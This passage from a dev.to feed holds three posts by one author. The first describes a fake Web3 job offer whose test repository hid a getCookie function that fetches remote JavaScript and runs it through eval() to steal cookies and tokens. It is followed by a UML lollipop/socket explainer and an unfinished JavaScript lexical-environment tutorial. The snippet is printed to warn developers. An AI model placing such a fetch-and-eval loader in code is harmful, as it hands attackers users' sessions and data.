&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi2d1ghr7n1ojaiixw5s3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi2d1ghr7n1ojaiixw5s3.png" alt="Image description" width="694" height="646"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tim explained the project in further detail:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"This is a demo version of our ongoing project, showcasing the core features and functionality we're building. In this project, your main tasks will involve adding blockchain networks (such as Ethereum, Binance Smart Chain, and Polygon), integrating a variety of tokens (like ERC-20, BEP-20, and stablecoins such as USDT), and enabling wallet functionalities (supporting wallets like MetaMask, Trust Wallet, and WalletConnect) on the platform.&lt;br&gt;&lt;br&gt;
To be successful in this role, you'll need a strong background in Web3 development, as well as extensive experience with smart contracts, including their design, implementation, and security considerations.&lt;br&gt;&lt;br&gt;
We've already completed several foundational elements of the front-end and back-end systems. Your primary focus will be on strengthening the Web3 integration and advancing the smart contract capabilities. This includes expanding blockchain network support, refining token integrations, and optimizing wallet compatibility to improve user interaction with the platform."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It all seemed professional, so I replied, &lt;strong&gt;"Sure, I can take on a part-time gig!"&lt;/strong&gt; Then Tim moved things along quickly — asking for my hourly rate and when I could start. Once I named a rate, he immediately agreed (red flag). He also mentioned a "technical review," a "coding test," and a "panel review" before signing a contract. Sounded legit — like a normal hiring process, right?&lt;/p&gt;

&lt;p&gt;I decided to test his patience by suggesting we wait two weeks. He pushed for an earlier start date (another red flag). Still, I agreed to do the coding test in my free time, and he sent me a private GitHub repo invite. 😏😏&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Let’s Go Deeper&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Inside GitHub, I found what looked like a standard React project with Web3 utilities (ethers.js) and plenty of files. At first glance, it seemed like a real project: a website, a lot of code, and an outline of features. However, I noticed the GitHub user had only existed for three weeks, had one commit, and the repo had zero contributors — clearly another red flag.&lt;/p&gt;

&lt;p&gt;Digging through the code, I stumbled on this snippet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getCookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://api.npoint.io/--I removed this--&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Two Major Issues Jumped Out
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;It's calling an external API.&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It's using &lt;code&gt;eval()&lt;/code&gt;.&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; in JavaScript runs code from a string—risky in most situations, especially if the source is shady or unknown.  &lt;/p&gt;

&lt;p&gt;Curious, I fired up Postman to see what the endpoint returned. It was an obfuscated JSON object containing even more JavaScript code which could:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Steal cookies and session tokens
&lt;/li&gt;
&lt;li&gt;Access browser storage (e.g., &lt;code&gt;localStorage&lt;/code&gt;)
&lt;/li&gt;
&lt;li&gt;Make unauthorized API calls
&lt;/li&gt;
&lt;li&gt;Forward stolen data to the scammers' own server
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This wasn't a normal coding test; it was more like a Trojan horse.&lt;/p&gt;




&lt;h3&gt;
  
  
  What Made It So Devious
&lt;/h3&gt;

&lt;p&gt;We've probably all heard of the "Nigerian prince" email scams, but this felt different. Why?  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Hyper-Targeted&lt;/strong&gt;: They referenced my background, found me on LinkedIn, and tailored their approach.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Professional Tone&lt;/strong&gt;: The communication was well-structured, with no glaring mistakes.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After sharing the code, they asked which operating system I use and wanted a call in the middle of the night. We ended up having a late-night meeting (&lt;em&gt;haha, I couldn’t ignore this one&lt;/em&gt;). The person on the call spoke with an African/French accent and jumped straight into questions about my experience—no introduction, no pleasantries.  &lt;/p&gt;

&lt;p&gt;When I said I had over 10 years of coding experience, he asked me to show my screen and share some of my work. I declined and asked him to share his screen instead. 😂 He claimed he couldn't, so I said, "Same here," and then the call suddenly ended.  &lt;/p&gt;

&lt;p&gt;So, I sent a message to Tim on LinkedIn:  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Nuri Vladimir Ensing (1:45 AM):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
I could not understand that man.&lt;br&gt;&lt;br&gt;
His English is very bad.&lt;br&gt;&lt;br&gt;
But hey, tell the guy to improve his &lt;code&gt;eval&lt;/code&gt; code 🤣  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;LinkedIn Member (1:47 AM):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
You are very unprofessional.&lt;br&gt;&lt;br&gt;
You are a junior developer.&lt;br&gt;&lt;br&gt;
Bye  &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Then Tim blocked me. And the fun stopped here.. 🥲 So I cried… from laughter, lol, and wrote this blog post instead. 😄  &lt;/p&gt;




&lt;h3&gt;
  
  
  Lessons Learned
&lt;/h3&gt;

&lt;p&gt;If you ever come across a job online, always check:  &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Research the Company&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Search online for the company's name, check LinkedIn profiles, and review any public repositories. A real, established team will have a digital footprint that's easy to find.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Request a Video Call&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ask for a call with cameras on. Genuine teams are more than happy to meet "face to face" and introduce themselves and their developers.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ask About the Team&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Find out who the other devs are, their roles, and how the project is structured. Scammers often struggle with detailed questions about team composition.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check Their Repo&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;When they give access to their repo, check the status of the repo and the contributions made.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Use a Sandbox or VM&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If you still want to test the code, do so in an isolated environment (like Docker or a virtual machine). Never run questionable code on your main system.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Trust Your Instincts&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If the communication feels rushed, unprofessional, or contradictory, don't ignore that gut feeling. A legitimate employer is usually transparent and patient.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;With ever-evolving technology — AI, deepfakes, sophisticated chatbots — the line between real and fake blurs more every day. In Web3, where anonymity is common, scammers exploit complexity and hype. They're not going away; they're simply refining their game.&lt;/p&gt;




&lt;h3&gt;
  
  
  Parting Thoughts
&lt;/h3&gt;

&lt;p&gt;A decade ago, we worried about shady email attachments or strange &lt;code&gt;.exe&lt;/code&gt; files. Now, scams can pop up in everyday coding tasks. Be cautious.&lt;/p&gt;

</description>
      <category>security</category>
      <category>react</category>
      <category>career</category>
    </item>
    <item>
      <title>#UML — Understanding Lollipops and Sockets in UML: A Clear Explanation</title>
      <dc:creator>Nuri Ensing</dc:creator>
      <pubDate>Mon, 02 Sep 2024 15:17:50 +0000</pubDate>
      <link>https://dev.to/nuri/uml-understanding-lollipops-and-sockets-in-uml-a-clear-explanation-267d</link>
      <guid>https://dev.to/nuri/uml-understanding-lollipops-and-sockets-in-uml-a-clear-explanation-267d</guid>
      <description>&lt;p&gt;I was trying to look up what the open ring and ball symbols in UML diagrams represent, but I found scattered and unsatisfying answers across the internet. Finally, I stumbled upon a StackOverflow post, but even then, the explanations didn’t fully satisfy me. So, I decided to post my own answer on StackOverflow: &lt;a href="https://stackoverflow.com/questions/8307724/using-lollipops-sockets-in-uml-why-and-when/78941132#78941132" rel="noopener noreferrer"&gt;https://stackoverflow.com/questions/8307724/using-lollipops-sockets-in-uml-why-and-when/78941132#78941132&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since my posts often serve as notes for myself and the wider world, I decided to expand on the topic here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In UML 2, you have the following symbols:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Lollipop: A small circle connected to a line: &lt;code&gt;o----&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Socket: An open ring with a line: &lt;code&gt;---(&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Lollipops and sockets are used in UML to give a big-picture view of how different parts of your system connect and work together without diving into too much detail. They’re mostly used in component diagrams, where a component represents a module or subsystem that functions independently but can interface with the rest of the system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Push vs Pull in UML Diagrams&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In UML, lollipops (provided interfaces) and sockets (required interfaces) can be used in both pull and push interaction models:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pull (Required Interface):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In this model, a component with a socket requests a service from another component. The socket represents the component’s dependency on something external to perform its functions.&lt;/li&gt;
&lt;li&gt;The lollipop represents the provider of that service. The provider component exposes a lollipop, signifying that it offers a service or function that other components can consume.&lt;/li&gt;
&lt;li&gt;Example: A website requires an authentication service to verify user credentials. The website (component with a socket) pulls the authentication service from the authentication provider (component with a lollipop).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Push (Provided Interface):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In this model, a component with a lollipop offers a service or
function to other components that may need it.&lt;/li&gt;
&lt;li&gt;A component with a socket can “subscribe” or accept the offered
services to perform its job.&lt;/li&gt;
&lt;li&gt;Example: An email notification service offers its functionality
(lollipop) to a subscription service (socket) that requires
notifications to be sent when certain conditions are met. The 
service is “pushed” to the subscriber when an event occurs.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;How It Works&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To keep things simple, if you see a block with a line ending in an open ring, that block (component) requires a service or information to perform its function. It represents the dependent or pulling component. Conversely, another block with a lollipop (small circle) provides the required service or functionality and represents the offering or pushing component.&lt;/p&gt;

&lt;p&gt;The lollipop and socket connection visually shows the interaction and dependency between components, with the socket pulling services and the lollipop offering them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fevf6eug0oaxk5j8vbjkh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fevf6eug0oaxk5j8vbjkh.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Consider an Authentication Service component that provides user authentication services, such as verifying usernames and passwords. Another component, like a website — for example, stackoverflow.com — needs to verify user credentials before granting access to user accounts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here’s how the push and pull interactions apply:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pull (Website-Authentication):&lt;/strong&gt;&lt;br&gt;
Stackoverflow.com needs to get information from the Authentication Service. In this case, the Authentication Service component is represented with a lollipop symbol, indicating that it provides the authentication service. The Stackoverflow.com component is represented with a socket symbol, showing that it requires the authentication service to verify user credentials before granting access. The website “pulls” the service to authenticate users.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Push (Authentication-Event Trigger):&lt;/strong&gt;&lt;br&gt;
Imagine an event-driven scenario where the Authentication Service automatically pushes a notification or data to another component upon successful authentication (e.g., updating the user session or triggering a log-in event). The Authentication Service component would use its lollipop symbol to represent that it offers this event service. The receiving component, such as a user session handler, could use a socket to accept this service. The authentication success event triggers the “push” of the data to the receiver.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Understanding the difference between pull and push interactions in UML is crucial when designing component-based systems.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In the pull model, components actively request services they need
(the socket pulls from the lollipop).&lt;/li&gt;
&lt;li&gt;In the push model, components provide or offer their services, which
other components may consume (the lollipop pushes to the socket).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By using UML’s lollipops and sockets, you can effectively represent both interaction types, providing a clear and structured overview of how system components interact.&lt;/p&gt;

</description>
      <category>uml</category>
      <category>webdev</category>
    </item>
    <item>
      <title>JS — Understanding Lexical Environments in JavaScript — Deep Dive — Part 1</title>
      <dc:creator>Nuri Ensing</dc:creator>
      <pubDate>Thu, 29 Aug 2024 13:11:54 +0000</pubDate>
      <link>https://dev.to/nuri/js-understanding-lexical-environments-in-javascript-deep-dive-part-1-417a</link>
      <guid>https://dev.to/nuri/js-understanding-lexical-environments-in-javascript-deep-dive-part-1-417a</guid>
      <description>&lt;p&gt;As a developer, I have often encountered the term "lexical environment" but I never really took the time to fully explore it in depth. So, I decided to dive deep and document my findings in this post - because "sharing is caring ;)". By the end of this post, I hope we will both have a solid understanding of what a lexical environment is and we will also explore what happens in memory, what a data structure is, and how the call stack works. Don't worry - I'll keep it simple and clear!&lt;/p&gt;

&lt;h2&gt;
  
  
  The Lexical Environment
&lt;/h2&gt;

&lt;p&gt;Before diving into the details, let me start with a brief overview. Don't worry if some concepts seem complex at first - I'll break them down and use an analogy to make them easier to understand.&lt;/p&gt;

&lt;p&gt;A lexical environment is a special data structure in JavaScript that tracks the scope of variables and functions at a specific point in the code.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Data structures are ways to organize and store information in a computer so it can be used efficiently. Common examples include arrays, objects, lists, and trees. &lt;a href="https://www.geeksforgeeks.org/data-structures/" rel="noopener noreferrer"&gt;See more: Data Structures Tutorial - GeeksforGeeks&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The term "lexical" means that the scope and accessibility of variables and functions are determined by where they are written in the code, rather than how the program runs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key roles of a lexical environment:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It stores all variables and function declarations within a specific scope (such as a function or a block).&lt;/li&gt;
&lt;li&gt;It makes these stored items accessible at that particular point in your code.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's a simple code example that contains three different lexical environments:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sheep&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// Global sheep&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;drinkWater&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;waterTemperature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cold&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;The sheep is drinking &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;waterTemperature&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; water.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sheepHouseInArea&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// Indicates whether the sheep house is present&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sheepHouseInArea&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;lambs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// Lambs inside the house&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;There are &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;sheep&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; sheep in the total area and &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; 
                 &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;lambs&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; lambs!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// This will result in an error because 'lambs'&lt;/span&gt;
&lt;span class="c1"&gt;// is only accessible inside the if block!&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;How many lambs are there? &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;lambs&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The three lexical environments in this code are: the global scope, the drinkWater function scope, and the if block scope. To make these concepts easier to grasp, let's use a simple analogy involving sheep:&lt;/p&gt;

&lt;h3&gt;
  
  
  The Sheep Analogy:
&lt;/h3&gt;

&lt;p&gt;While walking outside this week, I came across some sheep inside a fenced area and thought, "Hey, this is like a lexical environment!"&lt;/p&gt;

&lt;p&gt;Let me explain: Imagine a fenced area with sheep inside. The sheep can only do things within the fence, like eating grass. Now, imagine there's a small sheep house inside the fence where lambs can stay. The lambs inside the house can't go outside, but the sheep outside can go in.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkz9229fl05nerju2dmmt.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkz9229fl05nerju2dmmt.jpeg" alt="lambs" width="800" height="531"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Breaking Down the Analogy:
&lt;/h3&gt;

&lt;p&gt;The fence represents the entire area where everything exists - the sheep, lambs, house, and grass. This fenced area is what we refer to as the global scope. Within this fenced area, the sheep house is a smaller, separate section, representing a block scope. Finally, the grass which the sheep eat (yumyum) is like a function within the global scope, a specific activity or action that the sheep can perform within that space.&lt;/p&gt;

&lt;p&gt;In the code block, the global scope is represented by the red box, the drinkWater function scope by the blue box, and the if block scope by the green box. These are the three lexical environments.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbwtjbu8aygr9nbvgk9qf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbwtjbu8aygr9nbvgk9qf.png" alt="code example picture" width="800" height="475"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Global Scope (Fenced Area):
&lt;/h4&gt;

&lt;p&gt;The sheep (represented by &lt;code&gt;var sheep = 1;&lt;/code&gt;) symbolizes a variable in the global scope, freely roaming the fenced area. It can be used both outside and inside the drinkWater function and the if block.&lt;/p&gt;

&lt;h4&gt;
  
  
  Function Scope (drinkWater):
&lt;/h4&gt;

&lt;p&gt;The drinkWater function represents an action the sheep can perform within the fenced area. We can call the drinkWater function from anywhere in the global scope. However, the function itself creates a new lexical environment when it's defined. Inside this function, variables (like &lt;code&gt;let waterTemperature = 'cold';&lt;/code&gt;) are only accessible within the function.&lt;/p&gt;

&lt;h4&gt;
  
  
  Block Scope (if block):
&lt;/h4&gt;

&lt;p&gt;The if block creates a new, smaller scope. In this scope, represented by the sheep house, there are 2 lambs (&lt;code&gt;let lambs = 2&lt;/code&gt;). Inside this scope, a console.log statement logs the value of the lambs variable as well as the global sheep variable. The lambs variable is specific to the block scope, while the sheep variable is fetched from the parent environment (the global scope). This is made possible by the Outer Environment Reference, which allows JavaScript to look up the scope chain and resolve variables not found in the current environment.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The Outer Environment Reference is a reference or a pointer within a lexical environment. It points to the parent lexical environment, allowing JavaScript to resolve variables that aren't found in the current environment by looking up the scope chain.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Question Time!
&lt;/h3&gt;

&lt;p&gt;Can you modify the drinkWater() function so that it logs the total number of sheep defined in the global scope that can drink the water? Share your answer in the comments section!&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding Multiple Lexical Environments
&lt;/h2&gt;

&lt;p&gt;So, we see that there are three lexical environments in this code: the global scope, the function scope, and the block scope. When there is more than one lexical environment, we call it multiple lexical environments. It's important to understand that multiple lexical environments can exist in a single piece of code. Each time a new scope is created (e.g., a function or a block), a new lexical environment is generated, meaning different parts of your code can have their own separate environments.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Environment Record
&lt;/h2&gt;

&lt;p&gt;Now that we understand how lexical environments work, let's dive deeper into the concept of the environment record.&lt;/p&gt;

&lt;p&gt;Whenever a lexical environment is created - whether it's for the global scope, a function, or a block - JavaScript automatically generates an environment record for it.&lt;/p&gt;

&lt;p&gt;This environment record is a data structure that keeps track of all the variables, functions, and other bindings that are accessible within that specific scope. Essentially, it acts as the internal storage for everything defined within that environment, ensuring that the correct data is available when needed during code execution.&lt;/p&gt;

&lt;h3&gt;
  
  
  Difference Between Lexical Environment and Environment Record
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;The key difference between a lexical environment and an environment record:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A lexical environment is the place where JavaScript code runs. Think of it as the "setting" or "context" in which your code exists. This context includes the scope of variables and functions, determining which ones are available or accessible at any point in the code. For example, in our code, the lambs variable is only accessible within the green-bordered environment (the block scope). A lexical environment also includes an Outer Environment Reference (which we already described), allowing access to variables in parent environments.&lt;/p&gt;

&lt;p&gt;An environment record is a specific storage area within a lexical environment that holds the actual variables, function declarations, and other identifiers used in that environment. While the lexical environment is the broader context, the environment record is where the code's data - like variable values and function definitions - is stored. Whenever JavaScript needs to access a variable or function, it looks in the environment record of the current lexical environment.&lt;/p&gt;

&lt;p&gt;Let's explain the lexical environment and environment record again using our code example:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbwtjbu8aygr9nbvgk9qf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbwtjbu8aygr9nbvgk9qf.png" alt="code example picture" width="800" height="475"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are three lexical environments, each with its own environment record:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Global Scope (red box), Lexical Environment 1:
This lexical environment is created at the global level. The environment record within this environment contains:

&lt;ul&gt;
&lt;li&gt;The variable &lt;code&gt;sheep&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The function &lt;code&gt;drinkWater&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The variable &lt;code&gt;sheepHouseInArea&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These declarations are accessible throughout the entire code. The global environment also references the function &lt;code&gt;drinkWater&lt;/code&gt;, which is defined in this environment, and the &lt;code&gt;if&lt;/code&gt; statement, which leads to the creation of its own block scope when executed.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Function Scope (drinkWater, blue box), Lexical Environment 2:&lt;br&gt;
The environment record in this environment contains the variable &lt;code&gt;waterTemperature&lt;/code&gt;, declared using &lt;code&gt;let&lt;/code&gt; inside the &lt;code&gt;drinkWater&lt;/code&gt; function. This variable is only accessible within the function. However, the function can also access variables in the global environment like &lt;code&gt;sheep&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Block Scope (if block, green box), Lexical Environment 3:&lt;br&gt;
